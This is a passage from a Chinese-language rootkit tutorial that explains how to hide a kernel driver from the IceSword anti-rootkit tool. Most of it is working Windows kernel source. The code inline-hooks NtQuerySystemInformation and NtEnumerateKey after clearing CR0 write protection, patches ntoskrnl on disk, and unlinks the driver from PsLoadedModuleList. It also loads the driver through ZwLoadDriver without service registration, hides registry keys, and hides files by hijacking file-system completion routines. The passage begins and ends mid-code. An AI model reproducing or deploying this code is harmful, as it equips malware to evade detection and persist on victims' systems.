popad
104.
}
105.
return
Status
;
106.
}
107.
108.
NTSTATUS PatchNtQuerySystemInformation
()
109.
{
110.
NTSTATUS Status
;
111.
112.
OldNtQuerySystemInformation
=(
NTQUERYSYSTEMINFORMATION
)(
GetFunctionAddr
(
L
"NtQuerySystemInformation"
) );
113.
114.
if
(
OldNtQuerySystemInformation
==
NULL
)
115.
{
116.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
117.
}
118.
119.
_asm
//关中断
120.
{
121.
CLI
122.
MOV EAX
,
CR0
123.
AND EAX
,
NOT
10000H
124.
MOV CR0
,
EAX
125.
}
126.
127.
_asm
128.
{
129.
pushad
130.
//获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
131.
132.
lea eax
,
NewNtQuerySystemInformation
133.
mov DriverAddr
,
eax
//把NewNtQuerySystemInformation函数地址给DriverAddr
134.
135.
mov edi
,
OldNtQuerySystemInformation
136.
mov eax
, [
edi
]
137.
mov dword ptr ResumCodeNtQuerySystemInformation
[
0
],
eax
138.
mov ax
, [
edi
+
4
]
139.
mov word ptr ResumCodeNtQuerySystemInformation
[
4
],
ax
140.
141.
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
142.
mov byte ptr CrackCodeNtQuerySystemInformation
[
0
],
0x68
143.
lea edi
,
NewNtQuerySystemInformation
144.
mov dword ptr CrackCodeNtQuerySystemInformation
[
1
],
edi
145.
mov byte ptr CrackCodeNtQuerySystemInformation
[
5
],
0xC3
146.
147.
//把构造好的代码进行替换
148.
mov edi
,
OldNtQuerySystemInformation
149.
mov eax
,
dword ptr CrackCodeNtQuerySystemInformation
[
0
]
150.
mov dword ptr
[
edi
],
eax
151.
mov ax
,
word ptr CrackCodeNtQuerySystemInformation
[
4
]
152.
mov word ptr
[
edi
+
4
],
ax
153.
popad
154.
}
155.
156.
_asm
//开中断
157.
{
158.
MOV EAX
,
CR0
159.
OR EAX
,
10000H
160.
MOV CR0
,
EAX
161.
STI
162.
}
163.
164.
Status
=
RepairNtosFile
(
165.
(
DWORD
)
OldNtQuerySystemInformation
,
166.
(
DWORD
)&
CrackCodeNtQuerySystemInformation
[
0
] );
167.
return
Status
;
168.
169.
}
你可能发现上面这段代码hook的也是NtQuerySystemInformation函数,而在隐藏进程中不是已经hook了 NtQuerySystemInformation函数,这样不是造成重合了。在实际操作中,你只要hook一次 NtQuerySystemInformation函数,然后在自己定义NewNtQuerySystemInformation中增加几个选择项就是了。我这样写是为了便于理解,使它们每个部分自成一体,如果按实际代码搬出来的话,显得太支离破碎(支离破碎的支到底是这个“支”还是这个“肢”??)了。
不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在 PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op (fuzen_op@yahoo
.
com)在FU_Rootkit2
.0
的资源中给出了MODULE_ENTRY的结构定义如下:
代码
1.
typedef struct
_MODULE_ENTRY
{
2.
LIST_ENTRY le_mod
;
3.
DWORD unknown
[
4
];
4.
DWORD base
;
5.
DWORD driver_start
;
6.
DWORD unk1
;
7.
UNICODE_STRING driver_Path
;
8.
UNICODE_STRING driver_Name
;
9.
}
MODULE_ENTRY
, *
PMODULE_ENTRY
;
进一步分析后发现上述结构中的unk1成员的值其实就是该模块文件的大小
.
从新对该结构定义如下
:
代码
1.
typedef struct
_MODULE_ENTRY
{
2.
LIST_ENTRY le_mod
;
3.
DWORD unknown
[
4
];
4.
DWORD base
;
5.
DWORD driver_start
;
6.
DWORD Size
;
7.
UNICODE_STRING driver_Path
;
8.
UNICODE_STRING driver_Name
;
9.
}
MODULE_ENTRY
, *
PMODULE_ENTRY
;
PsLoadedModuleList指向的是一个带表头的双向链表,该链表的表头所指向的第一个MODULE_ENTRY的就是 ntoskrnl
.
exe,此时它的base成员的值就是ntoskrnl
.
exe在内存中的起始地址
.
这是就可以顺手取一下NtoskrnlBase的值。
有一点要注意的是,如果DriverEntry
()
例程未返回STATUS_SUCCESS之前。系统不会把你加入到 PsLoadedModuleList链表中,此时你在PsLoadedModuleList中是找不到自己的。当然为了这个而写一个分发例程也行。我是在自己hook的那些系统函数中设了一个阀值,阀值初始值为“开”,这样系统调用这个函数时都会先检测阀值是否是“开”,是的话跑到 PsLoadedModuleList找一下我们的模块是否存在,存在的话说明DriverEntry
()
已经返回成功,马上把自己从 PsLoadedModuleList链表中删除,然后把阀值设成“关”,这样系统下次调用这个函数时发现阀值是“关”的就不会傻乎乎的又跑到 PsLoadedModuleList中去搂一遍了。
代码
1.
DWORD NtoskrnlBase
=
0
;
2.
DWORD PsLoadedModuleListPtr
=
0
;
3.
4.
typedef struct
_MODULE_ENTRY
{
5.
6.
LIST_ENTRY le_mod
;
7.
DWORD unknown
[
4
];
8.
DWORD base
;
9.
DWORD driver_start
;
10.
DWORD Size
;
11.
UNICODE_STRING driver_Path
;
12.
UNICODE_STRING driver_Name
;
13.
}
MODULE_ENTRY
, *
PMODULE_ENTRY
;
14.
15.
NTSTATUS GetPsLoadedModuleListPtr
()
16.
{
17.
UNICODE_STRING UStrName
;
18.
DWORD KdEnableDebuggerAddr
;
19.
DWORD InitSystem
=
0
;
20.
DWORD KdDebuggerDataBlock
=
0
;
21.
PMODULE_ENTRY NtosModPtr
;
22.
unsigned char
*
DebuggerDataBlockPtr
;
23.
unsigned char
*
Sysinit
;
24.
int
i
,
j
;
25.
26.
RtlInitUnicodeString
(
27.
&
UStrName
,
28.
L
"KdEnableDebugger"
);
29.
30.
KdEnableDebuggerAddr
=(
DWORD
)
MmGetSystemRoutineAddress
( &
UStrName
);
31.
32.
if
( !
KdEnableDebuggerAddr
)
33.
{
34.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
35.
}
36.
37.
for
(
i
=
0
,
Sysinit
= (
unsigned char
* )
KdEnableDebuggerAddr
;
i
<
0x50
;
i
++,
Sysinit
++)
38.
{
39.
if
( (*
Sysinit
) ==
0xc6
&& (*(
Sysinit
+
0x1
)) ==
0x05
&& (*(
Sysinit
+
0x6
)) ==
0x01
&& (*(
Sysinit
+
0x7
)) ==
0xE8
)
40.
{
41.
_asm
42.
{
43.
pushad
44.
mov edi
,
Sysinit
45.
mov eax
, [
edi
+
0x8
]
46.
add edi
,
0xC
47.
add edi
,
eax
48.
mov InitSystem
,
edi
49.
popad
50.
}
51.
}
52.
if
(
InitSystem
!=
0
)
break
;
53.
54.
}
55.
56.
if
(
InitSystem
==
0
)
57.
{
58.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
59.
}
60.
61.
for
(
i
=
0
,
DebuggerDataBlockPtr
= (
unsigned char
* )
InitSystem
;
i
<
0x70
;
i
++,
DebuggerDataBlockPtr
++)
62.
{
63.
64.
if
( *((
DWORD
*)
DebuggerDataBlockPtr
) ==
0x4742444b
)
65.
{
66.
DebuggerDataBlockPtr
--;
67.
DebuggerDataBlockPtr
--;
68.
69.
for
(
j
=
0
;
j
<
0x10
;
j
++,
DebuggerDataBlockPtr
--)
70.
{
71.
if
( *
DebuggerDataBlockPtr
==
0x68
)
72.
{
73.
_asm
74.
{
75.
pushad
76.
mov edi
,
DebuggerDataBlockPtr
77.
inc edi
78.
mov eax
, [
edi
]
79.
mov KdDebuggerDataBlock
,
eax
80.
popad
81.
}
82.
break
;
83.
}
84.
}
85.
86.
}
87.
88.
if
(
KdDebuggerDataBlock
!=
0
)
89.
{
90.
break
;
91.
}
92.
}
93.
94.
if
(
KdDebuggerDataBlock
==
0
)
95.
{
96.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
97.
}
98.
99.
_asm
100.
{
101.
pushad
102.
mov edi
,
KdDebuggerDataBlock
103.
mov eax
, [
edi
+
0x48
]
104.
mov PsLoadedModuleListPtr
,
eax
105.
popad
106.
}
107.
108.
if
(
PsLoadedModuleListPtr
==
0
)
109.
{
110.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
111.
}
112.
113.
//获取 Ntoskrnl 的起始地址
114.
NtosModPtr
= (
PMODULE_ENTRY
)
PsLoadedModuleListPtr
;
115.
NtosModPtr
= (
PMODULE_ENTRY
) (
NtosModPtr
->
le_mod
.
Flink
);
116.
NtoskrnlBase
= (
DWORD
) (
NtosModPtr
->
base
);
117.
118.
return
STATUS_SUCCESS
;
119.
120.
}
121.
122.
NTSTATUS RemoveModule
( )
123.
{
124.
DWORD RemoveModleAddr
;
125.
PMODULE_ENTRY PModPtr_Current
;
126.
PMODULE_ENTRY PModPtr_Flink
;
127.
PMODULE_ENTRY PModPtr_Blink
;
128.
129.
PModPtr_Current
=(
PMODULE_ENTRY
)
PsLoadedModuleListPtr
;
130.
131.
132.
133.
PModPtr_Flink
= (
PMODULE_ENTRY
)(
PModPtr_Current
->
le_mod
.
Flink
);
134.
135.
//Get RemoveModle Addr
136.
137.
RemoveModleAddr
=
DriverAddr
;
138.
139.
for
( ;
PModPtr_Flink
->
le_mod
.
Flink
!= (
PLIST_ENTRY
)
PModPtr_Current
;
PModPtr_Flink
= (
PMODULE_ENTRY
)(
PModPtr_Flink
->
le_mod
.
Flink
) )
140.
{
141.
if
(
RemoveModleAddr
> ((
DWORD
)
PModPtr_Flink
->
base
) &&
RemoveModleAddr
< ((
DWORD
)(
PModPtr_Flink
->
Size
) + ((
DWORD
)
PModPtr_Flink
->
base
)) )
142.
{
143.
PModPtr_Blink
= (
PMODULE_ENTRY
)(
PModPtr_Flink
->
le_mod
.
Blink
);
144.
PModPtr_Flink
= (
PMODULE_ENTRY
)(
PModPtr_Flink
->
le_mod
.
Flink
);
145.
PModPtr_Blink
->
le_mod
.
Flink
= (
PLIST_ENTRY
)
PModPtr_Flink
;
146.
PModPtr_Flink
->
le_mod
.
Blink
= (
PLIST_ENTRY
)
PModPtr_Blink
;
147.
IsDelModule
=
TRUE
;
148.
break
;
149.
}
150.
}
151.
if
(
IsDelModule
!=
TRUE
)
152.
{
153.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
154.
}
155.
return
STATUS_SUCCESS
;
156.
157.
}
158.
上面这两个函数中,GetPsLoadedModuleListPtr
()
是通过特征码搜索获取KdDebuggerDataBlock的位置,使用特征码搜索办法虽然不是很好,但是通用性强。然后再以此获取PsLoadedModuleList地址,RemoveModule
()
用来实现在PsLoadedModuleList链表中删除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。
五、隐藏服务:
普通情况下加载驱动需要 OpenSCManager
->
CreateService
->
StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll
.
dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:
1
、首先自己在注册表的服务项中添加一个自己的服务名字项。
2
、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService
()
函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。
按上面设置完后,来看看ZwLoadDriver的原形:
代码
1.
NTSTATUS
2.
ZwLoadDriver
(
3.
IN PUNICODE_STRING DriverServiceName
);
4.
5.
下面的代码给出了ZwLoadDriver的使用例子:
6.
7.
AnotherWayStartService
(
TCHAR
*
szDir
)
8.
{
9.
HKEY RegKey
;
10.
HKEY hLicenses
;
11.
DWORD disp
;
12.
DWORD ErrorControl
=
NULL
;
13.
DWORD ProcessID
;
14.
DWORD Start
=
3
;
15.
DWORD Type
=
1
;
16.
LONG Regrt
;
17.
18.
DWORD ZwLoadDriver
;
19.
DWORD RtlInitUnicodeString
;
20.
21.
UNICODE_STRING RegService
;
22.
23.
PCWSTR RegServicePath
=
L
"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath"
;
24.
25.
TCHAR DriverFilePath
[
MAX_PATH
] =
"\\??\\"
;
26.
27.
28.
Regrt
=
RegOpenKeyEx
(
29.
HKEY_LOCAL_MACHINE
,
30.
"SYSTEM\\CurrentControlSet\\Services"
,
31. 0
,
32.
KEY_CREATE_SUB_KEY
+
KEY_SET_VALUE
,
33.
&
hLicenses
);
34.
35.
if
(
Regrt
!=
ERROR_SUCCESS
)
36.
{
37.
return false
;
38.
}
39.
40.
Regrt
=
RegCreateKeyEx
(
41.
hLicenses
,
42.
"neverdeath"
,
43. 0
,
44.
""
,
45.
REG_OPTION_NON_VOLATILE
,
46.
KEY_ALL_ACCESS
,
47.
NULL
,
48.
&
RegKey
,
49.
&
disp
);
50.
51.
if
(
Regrt
!=
ERROR_SUCCESS
)
52.
{
53.
return false
;
54.
}
55.
56.
Regrt
=
RegOpenKeyEx
(
57.
&
nb
,
sp
;
HKEY_LOCAL_MACHINE
,
58.
"SYSTEM\\CurrentControlSet\\Services\\neverdeath"
,
59. 0
,
60.
KEY_CREATE_SUB_KEY
+
KEY_SET_VALUE
,
61.
&
RegKey
);
62.
63.
if
(
Regrt
!=
ERROR_SUCCESS
)
64.
{
65.
return false
;
66.
}
67.
68.
Regrt
=
RegSetValueEx
(
69.
RegKey
,
70.
"ErrorControl"
,
71.
NULL
,
72.
REG_DWORD
,
73.
(
const unsigned char
*)(&
ErrorControl
),
74. 4
);
75.
76.
if
(
Regrt
!=
ERROR_SUCCESS
)
77.
{
78.
return false
;
79.
}
80.
81.
strcat
(
DriverFilePath
,
szDir
);
82.
83.
Regrt
=
RegSetValueEx
(
84.
RegKey
,
85.
"ImagePath"
,
86.
NULL
,
87.
REG_EXPAND_SZ
,
88.
(
const unsigned char
*)(&
DriverFilePath
),
89.
strlen
(
DriverFilePath
) );
90.
91.
if
(
Regrt
!=
ERROR_SUCCESS
)
92.
{
93.
return false
;
94.
}
95.
96.
97.
Regrt
=
RegSetValueEx
(
98.
RegKey
,
99.
"Start"
,
100.
NULL
,
101.
REG_DWORD
,
102.
(
const unsigned char
*)(&
Start
),
103. 4
);
104.
105.
if
(
Regrt
!=
ERROR_SUCCESS
)
106.
{
107.
return false
;
108.
}
109.
110.
Regrt
=
RegSetValueEx
(
111.
RegKey
,
112.
"Type"
,
113.
NULL
,
114.
REG_DWORD
,
115.
(
const unsigned char
*)(&
Type
),
116. 4
);
117.
118.
if
(
Regrt
!=
ERROR_SUCCESS
)
119.
{
120.
return false
;
121.
}
122.
123.
//还记得前面隐藏进程时,我们进程ID是从注册表中取的
124.
//下面就是把进程ID写入注册表,不会影响驱动的加载
125.
126.
ProcessID
=
GetCurrentProcessId
();
127.
128.
Regrt
=
RegSetValueEx
(
129.
RegKey
,
130.
"ProcessID"
,
131.
NULL
,
132.
REG_DWORD
,
133.
(
const unsigned char
*)(&
ProcessID
),
134. 4
);
135.
136.
if
(
Regrt
!=
ERROR_SUCCESS
)
137.
{
138.
return false
;
139.
}
140.
141.
CloseHandle
(
RegKey
);
142.
143.
144.
ZwLoadDriver
= (
DWORD
)
GetProcAddress
(
145.
GetModuleHandle
(
"ntdll.dll"
),
146.
"ZwLoadDriver"
);
147.
148.
RtlInitUnicodeString
= (
DWORD
)
GetProcAddress
(
149.
GetModuleHandle
(
"ntdll.dll"
),
150.
"RtlInitUnicodeString"
);
151.
152.
_asm
153.
{
154.
pushad
155.
push RegServicePath
156.
lea edi
,
RegService
157.
push edi
158.
call RtlInitUnicodeString
//装载UNICODE字符
159.
160.
lea edi
,
RegService
161.
push edi
162.
call ZwLoadDriver
163.
popad
164.
}
165.
166.
return true
;
167.
168.
}
请注意上面这段代码中加载驱动时所使用的注册表路径格式是:
“\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath”
而不是:
“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath”
也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)
六、隐藏注册表:
IS处理注册表并没有什么新意,就是调用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一类的注册表操作函数,通过伪造内核文件,所以这部分可以很轻松hook并实现隐藏。IS在这里玩了一个小花样,在XP下,IS会在把从 ntoskrnl
.
exe读到的NtEnumerateKey起始地址的第三个字(注意是字,不是字节!)先加上
0xD50
后,再进行还原,因此你在伪造内核文件时必须先把自己构造的代码的第三个字减去
0xD50
后再写入到otoskrnl
.
exe中,否则就等着BSOD吧。而在
2K
中就不需要这些操作。这里主要是通过hook注册表函数NtEnumerateKey来隐藏我们注册中的“CurrentControlSet\Services”下的 “neverdeath”项以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”项。至于隐藏键与键值在这里就不说了,自己随手写一个就是了。顺便提一下,由于windows的regedit也是调用这些函数访问注册表,所以如果你在IS中隐藏了注册表也就等于在windows的regedit中隐藏了。以下代码在XP下测试通过,如要在
2K
或
2K3
中运行,请根据需要自己进行取舍。
由于NtEnumerateKey没有被ntoskrnl
.
exe导出,这里利用
NtEnumerateKey在服务表 偏移 = “NtDuplicateToken”在服务表中的偏移+
2
来获取NtEnumerateKey地址。
代码
1.
PCWSTR HideKey
=
L
"neverdeath"
;
2.
PCWSTR HideKeyLEG
=
L
"LEGACY_NEVERDEATH"
;
3.
4.
unsigned char
ResumCodeNtEnumerateKey
[
6
];
5.
unsigned char
CrackCodeNtEnumerateKey
[
6
];
6.
unsigned char
CrackCodeNtEnumerateKeyWriteFile
[
6
];
7.
8.
typedef
NTSTATUS
( *
NTENUMERATEKEY
) (
9.
IN HANDLE KeyHandle
,
10.
IN ULONG Index
,
11.
IN KEY_INFORMATION_CLASS KeyInformationClass
,
12.
OUT PVOID KeyInformation
,
13.
IN ULONG Length
,
14.
OUT PULONG ResultLength
);
15.
16.
NTENUMERATEKEY OldNtEnumerateKey
;
17.
18.
typedef struct
ServiceDescriptorEntry
{
19.
unsigned int
*
ServiceTableBase
;
20.
unsigned int
*
ServiceCounterTableBase
;
//Used only in checked build
21.
unsigned int
NumberOfServices
;
22.
unsigned char
*
ParamTableBase
;
23.
}
ServiceDescriptorTableEntry
, *
PServiceDescriptorTableEntry
;
24.
25.
extern
PServiceDescriptorTableEntry KeServiceDescriptorTable
;
26.
27.
NTSTATUS NewNtEnumerateKey
(
28.
29.
IN HANDLE KeyHandle
,
30.
IN ULONG Index
,
31.
IN KEY_INFORMATION_CLASS KeyInformationClass
,
32.
OUT PVOID KeyInformation
,
33.
IN ULONG Length
,
34.
OUT PULONG ResultLength
)
35.
{
36.
NTSTATUS Status
;
37.
PCWSTR KeyNamePtr
;
38.
39.
40.
_asm
//还原
41.
{
42.
pushad
43.
mov edi
,
OldNtEnumerateKey
44.
mov eax
,
dword ptr ResumCodeNtEnumerateKey
[
0
]
45.
mov
[
edi
],
eax
46.
mov ax
,
word ptr ResumCodeNtEnumerateKey
[
4
]
47.
mov
[
edi
+
4
],
ax
48.
popad
49.
}
50.
51.
Status
=
ZwEnumerateKey
(
52.
KeyHandle
,
53.
Index
,
54.
KeyInformationClass
,
55.
KeyInformation
,
56.
Length
,
57.
ResultLength
);
58.
59.
60.
if
(
Status
==
STATUS_SUCCESS
)
61.
{
62.
_asm
63.
{
64.
push edi
65.
mov edi
,
KeyInformation
66.
add edi
,
0x10
67.
mov KeyNamePtr
,
edi
68.
pop edi
69.
}
70.
if
(
wcsstr
(
KeyNamePtr
,
HideKey
)!=
NULL
||
wcsstr
(
KeyNamePtr
,
HideKeyLEG
) !=
NULL
)
71.
{
72.
Index
=
Index
+
1
;
73.
Status
=
OldNtEnumerateKey
(
74.
KeyHandle
,
75.
Index
,
76.
KeyInformationClass
,
77.
KeyInformation
,
78.
Length
,
79.
ResultLength
);
80.
}
81.
}
82.
83.
_asm
//替换
84.
{
85.
pushad
86.
mov edi
,
OldNtEnumerateKey
87.
mov eax
,
dword ptr CrackCodeNtEnumerateKey
[
0
]
88.
mov
[
edi
],
eax
89.
mov ax
,
word ptr CrackCodeNtEnumerateKey
[
4
]
90.
mov
[
edi
+
4
],
ax
91.
popad
92.
}
93.
return
Status
;
94.
95.
}
96.
NTSTATUS GetOldNtEnumerateKey
()
97.
{
98.
DWORD NtDuplicateTokenAddr
;
99.
int
i
=
0
;
100.
101.
NtDuplicateTokenAddr
=
GetFunctionAddr
(
L
"NtDuplicateToken"
);
102.
103.
if
(
NtDuplicateTokenAddr
==
NULL
)
104.
{
105.
DbgPrint
(
"Get NtQuerySystemInformation Addr Error!!"
);
106.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
107.
}
108.
109.
for
(;;
i
++)
110.
{
111.
if
(
NtDuplicateTokenAddr
== (
DWORD
)(*(((
PServiceDescriptorTableEntry
)
KeServiceDescriptorTable
)->
ServiceTableBase
+
i
)) )
112.
{
113.
OldNtEnumerateKey
= (
NTENUMERATEKEY
)(*(((
PServiceDescriptorTableEntry
)
KeServiceDescriptorTable
)->
ServiceTableBase
+ (
i
+
2
)));
114.
break
;
115.
}
116.
}
117.
return
STATUS_SUCCESS
;
118.
119.
}
120.
121.
NTSTATUS PatchNtEnumerateKey
()
122.
{
123.
NTSTATUS Status
;
124.
125.
126.
Status
=
GetOldNtEnumerateKey
();
127.
128.
if
(
Status
!=
STATUS_SUCCESS
)
129.
{
130.
DbgPrint
(
"Get NtQuerySystemInformation Addr Error!!"
);
131.
return
STATUS_DEVICE_CONFIGURATION_ERROR
;
132.
}
133.
134.
_asm
//关中断
135.
{
136.
CLI
137.
MOV EAX
,
CR0
138.
AND EAX
,
NOT
10000H
139.
MOV CR0
,
EAX
140.
}
141.
142.
_asm
143.
{
144.
pushad
145.
//获取 NtEnumerateKey 函数的地址并保留该函数的起始六个字节
146.
mov edi
,
OldNtEnumerateKey
147.
mov eax
, [
edi
]
148.
mov dword ptr ResumCodeNtEnumerateKey
[
0
],
eax
149.
mov ax
, [
edi
+
4
]
150.
mov word ptr ResumCodeNtEnumerateKey
[
4
],
ax
151.
152.
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtEnumerateKey去执行
153.
154.
mov byte ptr CrackCodeNtEnumerateKey
[
0
],
0x68
155.
mov byte ptr CrackCodeNtEnumerateKeyWriteFile
[
0
],
0x68
156.
lea edi
,
NewNtEnumerateKey
157.
mov dword ptr CrackCodeNtEnumerateKey
[
1
],
edi
158.
mov dword ptr CrackCodeNtEnumerateKeyWriteFile
[
1
],
edi
159.
mov byte ptr CrackCodeNtEnumerateKey
[
5
],
0xc3
160.
mov byte ptr CrackCodeNtEnumerateKeyWriteFile
[
5
],
0xc3
161.
162.
//把第NtEnumerateKey的第三个字减去D50在送回
163.
mov ax
,
word ptr CrackCodeNtEnumerateKeyWriteFile
[
4
]
164.
sub ax
,
0xD50
165.
mov word ptr CrackCodeNtEnumerateKeyWriteFile
[
4
],
ax
166.
167.
168.
//把构造好的代码进行替换
169.
mov edi
,
OldNtEnumerateKey
170.
mov eax
,
dword ptr CrackCodeNtEnumerateKey
[
0
]
171.
mov dword ptr
[
edi
],
eax
172.
mov ax
,
word ptr CrackCodeNtEnumerateKey
[
4
]
173.
mov word ptr
[
edi
+
4
],
ax
174.
popad
175.
}
176.
177.
_asm
//开中断
178.
{
179.
MOV EAX
,
CR0
180.
OR EAX
,
10000H
181.
MOV CR0
,
EAX
182.
STI
183.
}
184.
185.
Status
=
RepairNtosFile
(
186.
(
DWORD
)
OldNtEnumerateKey
,
187.
//(DWORD)(&CrackCodeNtEnumerateKey) 2k
188.
(
DWORD
)(&
CrackCodeNtEnumerateKeyWriteFile
) );
//XP
189.
return
Status
;
190.
191.
}
7
、隐藏文件:
终于写到隐藏文件,在实现隐藏文件的过程中,越来越欣赏PJF。IS在获取文件列表的过程时,迂回战术简直玩到了另人匪夷所思的地步!我花了很多时间(好几次坐在机子面前十几个小时想的脑袋都绿了却一点收获都没有)才实现了不用IFS,不用attach文件设备直接而进行隐藏,当时我甚至去 hook函数IoCallDriver函数(经常看到有些人hook这个函数失败,便造谣此函数不能hook,其实是可以的,但是确实很麻烦,如果你也想试试,为了让你少走弯路,好意提醒一下,请尽最大努力保护好寄存器!)来截获系统所有的IRP包,然后分析,真是差点没把我搞死!
普通情况下,我们是通过发送IRP_MJ_DIRECTORY_CONTROL(
0xC
)请求给FSD来获取文件列表的。获取后的信息存在IRP
->
UserBuffer
(
0x3c
)
中。但是你会发现IS在获取文件列表时并不发送IRP_MJ_DIRECTORY_CONTROL给FSD,而是发送IRP_MJ_DEVICE_CONTROL(
0xE
)请求给另外一个不知名设备。并且在该被请求完成后,你在完成的IRP数据中找不到任何有关文件名字的影子。或许你便开始点一只烟,盯着屏幕直发楞,直想:“这怎么可能呢?”(呵呵,也许pjf要的就是这种效果)。
邪恶的微软总是想方设法的企图蒙蔽我们,让我们忽略本质!内核里面的那些什么对象啊、设备啊、这个啊、那个啊、所有乱七八糟的东东,从本质上来讲还不都是一堆代码与数据。IS不发送IRP_MJ_DIRECTORY_CONTROL请求不代表它不会调用这个例程。
我对IS获取文件列表的猜想(IS的anti Debug太强, 为了今年之内把这个搞定,因此没时间再陪它耗下去了):
单独创造一个Device,这个Device的IRP_MJ_DEVICE_CONTROL例程中构造IRP与DEVICE_OBJECT后,直接调用IRP_MJ_DIRECTORY_CONTROL例程,这样就避免了向文件设备发送请求但是还能获取文件列表的目的了。关于在完成后的IRP包中无法获取文件名的功能,其实只要在直接调用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP
->
UserBuffer中的内容转移或加个密就轻易实现了。
虽然这只是猜想,但是为了验证我的想法。我单独写了个test证明我的想法是可行的。我不能确定IS就是这样做,但我能确定如果你这样做的话就能达到类似的效果。
IS就是通过设置IO_COMPLETION_ROUTINE函数来第一时间处理完成后的结果,我们下面用的方法就是通过替换这个 IO_COMPLETION_ROUTINE来抢先处理结果。我们处理完了再调用IS的IO_COMPLETION_ROUTINE函数。另外要说的是,由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一个文件名(哪怕已重复出现)。而你在自己的 IO_COMPLETION_ROUTINE中如果检测到是自己要隐藏的文件名的话,不能不调用原先IS的IO_COMPLETION_ROUTINE,否则BSOD。因此你只能更改文件属性了,更改文件属性也能达到隐藏的目的。还记不记的以前DOS时代的
[.]
与
[..]
文件夹吗(那片笑声让我想起我的那些文件夹)。当返回你要隐藏的文件时信息,把这些信息全都替换成
[.]
或
[..]
文件夹属性(当然包括文件名信息了)就行了。
下面的代码先获取FSD设备的IRP_MJ_DIRECTORY_CONTROL分派函数的地址,然后对该函数进行hook。在我们构造的新的 IRP_MJ_DIRECTORY_CONTROL分派函数中通过IO_STACK_LOCATION中的Length(
+
0x4
)数值来判断是否时IS (IS的Length很特殊,是
0xfe8
。平常的都是
0x1000
),是的话就进行替换IO_COMPLETION_ROUTINE。
下的代码在FAT32、NTFS、NTFS
&
FAT32中测试通过,在纯Fat中也测试通过。
代码
1.
PCWSTR HideDirectory
=
L
"neverdeath"
;
2.
PCWSTR HideFile
=
L
"otoskrnl.exe"
;
3.
4.
DWORD NtfsUserbuf
;
5.
DWORD NtfsFileName
;
6.
DWORD NtfsLocaIrp
;
7.
8.
DWORD FatUserbuf
;
9.
DWORD FatFileName
;
10.
DWORD FatLocaIrp
;
11.
12.
typedef
NTSTATUS
(*
_DISPATCH
)
13.
(
14.
IN PDEVICE_OBJECT DeviceObject
,
15.
IN OUT PIRP Irp
16.
);
17.
18.
_DISPATCH OldNtfsQueryDirectoryDispatch
;
19.
_DISPATCH OldFatQueryDirectoryDispatch
;
20.
21.
PIO_COMPLETION_ROUTINE OldNtfsCompletionRuntine
;
22.
PIO_COMPLETION_ROUTINE OldFatCompletionRuntine
;
23.
24.
NTSTATUS NewNtfsCompletionRuntine
(
25.
IN PDEVICE_OBJECT DeviceObject
,
26.
IN PIRP Irp
,
27.
IN PVOID Context
)
28.
{
29.
NTSTATUS Status
;
30.
31.
_asm
32.
{
33.
pushad
34.
mov edi
,
NtfsUserbuf
35.
add edi
,
0x5e
36.
mov NtfsFileName
,
edi
37.
popad
38.
}
39.
if
(
wcsstr
(
NtfsFileName
,
HideDirectory
) ||
wcsstr
(
NtfsFileName
,
HideFile
) )
40.
{
41.
_asm
42.
{
43.
pushad
44.
mov edi
,
NtfsUserbuf
45.
mov eax
,
0x16
46.
mov dword ptr
[
edi
+
0x38
],
eax
47.
mov eax
,
0x04
48.
mov dword ptr
[
edi
+
0x3c
],
eax
49.
mov eax
,
0x002e002e
50.
mov dword ptr
[
edi
+
0x5e
],
eax
51.
popad
52.
}
53.
}
54.
Status
=
OldNtfsCompletionRuntine
(
55.
DeviceObject
,
56.
Irp
,
57.
Context
);
58.
return
Status
;
59.
60.
}
61.
62.
NTSTATUS NewFatCompletionRuntine
(
63.
IN PDEVICE_OBJECT DeviceObject
,
64.
IN PIRP Irp
,
65.
IN PVOID Context
)
66.
{
67.
NTSTATUS Status
;
68.
69.
_asm
70.
{
71.
pushad
72.
mov edi
,
FatUserbuf
73.
add edi
,
0x5e
74.
mov FatFileName
,
edi
75.
popad
76.
}
77.
if
(
wcsstr
(
FatFileName
,
HideDirectory
) ||
wcsstr
(
FatFileName
,
HideFile
) )
78.
{
79.
_asm
80.
{
81.
pushad
82.
mov edi
,
FatUserbuf
83.
mov eax
,
0x16
84.
mov dword ptr
[
edi
+
0x38
],
eax
85.
mov eax
,
0x04
86.
mov dword ptr
[
edi
+
0x3c
],
eax
87.
mov eax
,
0x002e002e
